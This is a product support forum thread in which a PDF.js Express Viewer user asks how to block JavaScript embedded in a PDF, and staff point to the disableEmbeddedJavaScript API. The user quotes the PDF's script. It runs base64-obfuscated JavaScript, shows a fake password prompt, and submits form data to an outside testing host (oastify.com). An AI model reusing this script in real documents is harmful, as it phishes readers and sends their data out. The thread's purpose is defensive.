XSS execute script in pdf file

Technical Support
1

Hi team,

Could you please my issue,

I used PDF JS Express Viewer on your site , Version: ‘8.7.0’.

In PDF File has function execute script, i dont want to execute this function.

Could you support prevent xss with pdfjsexpress viewer .

Best Regards !

2023-08-11_20-11-52
2023-08-11_20-11-522470×1562 320 KB

sample_test.pdf (3.7 KB)

3

Hi there,

Thanks for reaching out to pdf.js express forums,

Opening your provided PDF on Chrome, I can see that there is a password requirement:

image
image3000×1594 135 KB

Please follow the forum post guide here on opening PDFs with password:

Best regards,
Kevin Kim

4

Hi kkim,

it’s just script in my pdf file, you can check code

(function(){
try {
app.launchURL("javascript:eval(atob('YWxlcnQoJ2hhaGEnKQ=='))",false)    
var cResponse = app.response({cQuestion: "Enter your password to access this page: "});
this.submitForm("http://oastify.com");}
catch (e) {app.alert('abcd'); }
})() )

this script in my pdf file.

And i dont want to execute this script

Best Regards

5

Hi there,

What you could use is the disableEmbeddedJavaScript API
https://pdfjs.express/api/Core.html#.disableEmbeddedJavaScript__anchor

Best regards,
Kevin Kim

1 Like
6

Best Solution.

Thanks for your support @kkim .